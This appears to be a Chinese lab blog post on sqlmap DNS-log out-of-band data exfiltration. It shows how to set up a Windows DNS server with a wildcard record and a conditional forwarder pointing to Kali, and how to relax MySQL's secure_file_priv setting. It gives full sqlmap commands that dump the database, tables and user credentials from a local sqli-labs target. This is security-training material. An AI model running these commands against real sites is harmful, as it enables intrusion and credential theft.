当前位置:网站首页>sqlmap dolog外带数据
sqlmap dolog外带数据
2022-08-10 01:20:00 【Miracle_ze】
前提准备
实验所用环境:
DNS服务器虚拟机系统:Windows Server 2008R2
Kali版本: 2022.2
Windows系统虚拟机:Windows 11+apache+mysql+php
首先要进行这次实验,我们电脑和虚拟机要带有sqlmap工具。
Windows系统
windows系统使用sqlmap工具官网下载即可,将下载包解压使用命令提示符打开【快捷键:window+R】。到达相应路径使用python语言打开即可。
虚拟机
虚拟机自带sqlmap工具。只需要直接在命令行中输入sqlmap就可以了。
如果版本低了可以输入sqlmap -update更新版本
如果输入sqlmap -update没有反应可以尝试参考博客:kali自带的sqlmap更新
在本次实验要使用mysql的读文件函数load_file,为此Load_file函数读mysql 的文件,但是要生效得 secure_file_priv不能是null才可以使用。
原因: 为null就既不能读文件也不能写文件是mysql的安全配置。 要改必须去配置文件修改,因为这里是只读的权限
添加 :
secure_file_priv=“”
local_infile=1
重启mysql服务
一、Kali准备工作【作为攻击机】
kali准备工作这里不写sqlmap更新。因为博主已经更新到目前最新的了
1、修改secure_file_priv
因为前面已经说了这个只有读权限,为此要修改要去配置文件my.cnf
。
文件内添加内容:
2、kali启用数据库,查看状态

查看是否修改了状态
3、查看sqlmap是否可用

成功启动并且版本为1.6.7
二、Windows Server 2008R2 为DNS服务器准备工作【DNS服务器起中转作用,最后回归sqlmap】
1、创建角色
服务器角色
创建服务器为DNS服务器
DNS服务器选择完就可以一直下一步了。

2、新建区域
建立一个主要区域

勾选主要区域

区域名称【输入你想的就可以】

后面一直无脑下一步就创建就成功了

3、新建服务器属性修改
进入WIN-5SSIPA6V1CH属性修改
在高级中查看递归十分禁用,因为我们要使用递归获取数据。【不要勾选禁用递归】

在监视中将两个测试类型勾选。

监视与高级的操作都是保证我们能正常使用递归查询
4、添加A记录
目的:sqlmap
ip地即被解析,由NS服务器解析。即这台服务器,如此这ip地址填写sqlmap地址。
sqlmap地址为kali地址:192.168.171.152
添加IP地址

完成后再创建一个泛解析

最后即两个都解析到了kali上
5、测试是否可以解析
1、kali监听53端口
tcpdump -n port 53

2、配置DNS服务器ip信息和dns信息

3、靶机保证win11的首选DNS与DNS服务器一致

4、本机ping域名8r2.top的子域名

5、看kali是否能收到转发

这能收到因为我们设置的*泛解析,为此对所有的8r2.top的域名都会到192.168.171.153主机解析
6、条件转发器
1、创建条件转发器

2、输入域与IP

DNS域是转发器的,所有你可以随便输入,
IP地址则是触发条件转发器的转发对象,即kali
三、kali注入
1、找寻目标主机
对win11的靶机进行注入,win11的ip地址为:192.168.171.131
2、在主机搭建好环境
在win11上使用phpstudy集成环境搭建WAMP。
目标网站
在win11中修改了文件my.ini的secure_file_priv为非NULL
重启mysql服务,重新读取my.ini
3、kali作为攻击机,攻击win11的目标网站,使用sqlmap dnslog外带数据方式进行攻击
1、得到库
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" --dbs
-dbs (获取数据库的所有库)
–dns-domain的参数要设置为条件转发器中的域名
sqllabs的库名是security

2、查出表
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security --tables
–dns-domain的参数要设置为条件转发器中的域名
sqllabs的库名是security

3、查出列
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security -t users --columns

4、查出列内容
qlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security -T users -C username,password --dump

四、总结
1、优点
dnslog外带数据注入,相比较于布尔盲注和时间盲注的耗时量来看要快上许多。
即dnslog外带数据能快速完成了sql注入,取得了security.users中的数据
2、注入过程原理及其要点
Kail ,靶机与DNS间传输
1、kali的IP与DNS 一直没有改变
2、DNS配置的IP地址 的DNS与kali 保持一致
3、靶机实际上:解析本地hosts -------本地没有—》DNS解析。
4、访问过程
靶机【win11】 本地无法解析
=》DNS 【因为DNS配置A记录指向了kali】
=》 传输信息给到kali 【kali中的sqlmap将受到的信息进行解析】=》sqlmap解析的数据将其显示,显示的内容放入kali的log,每次解析都会覆盖一次这个log
如此:
靶机 解析8r2.top 到DNS 。DNS的A记录【泛解析:*】中指向kali。
如此kali中sqlmap解析了数据而kali把内容存入日志了。 然后通过–doman [ip,条件解析地址]
在条件转发器下通过DNS获取消息。即触发条件解析地址数据指向Kali的地址。
边栏推荐
猜你喜欢

牛客刷题——剑指offer(第四期)

【机器学习】随机森林、AdaBoost、GBDT、XGBoost从零开始理解

【web渗透】SSRF漏洞超详细讲解

防勒索病毒现状分析

对修饰器的实验支持功能在将来的版本中可能更改。在 “tsconfig“ 或 “jsconfig“ 中设置 “experimentalDecorators“ 选项以删除此警告

元素的盒子模型+标签的尺寸大小和偏移量+获取页面滚动距离

实操|风控模型中常用的这三种预测方法与多分类场景的实现

具有多孔光纤的偏振分束器

Process management and task management

【论文笔记】基于深度学习的机器人抓取虚拟仿真实验教学系统
随机推荐
Sikuli's Automated Testing Technology Based on Pattern Recognition
The shell specifies the parameter name to pass the parameter
unity编辑器扩展界面使用 List
hint: Updates were rejected because the tip of your current branch is behind hint: its remote counte
web开发概述
OpenSSF的开源软件风险评估工具:Scorecards
已备案域名用国外服务器会不会掉备案?
Linux(Centos7)服务器中配置Mysql主从数据库,以及数据库的安装,防火墙操作
Visual low-code system practice based on design draft identification
夏克-哈特曼波前传感器
[Syntax sugar] About the mapping of category strings to category numeric ids
Unity image is blurry after using long image
Not, even the volume of the king to write code in the company are copying and pasting it reasonable?
type-C 边充电边听歌(OTG) PD芯片方案,LDR6028 PD充电加OTG方案
递归 二分查找 冒泡排序 快速排序
Web性能测试模型小结
墨西哥大众VW Mexico常见的几种label
RESOURCE_EXHAUSTED: etcdserver: mvcc: database space exceeded
【ROS2原理10】Interface数据的规定
el-input保留一位小数点





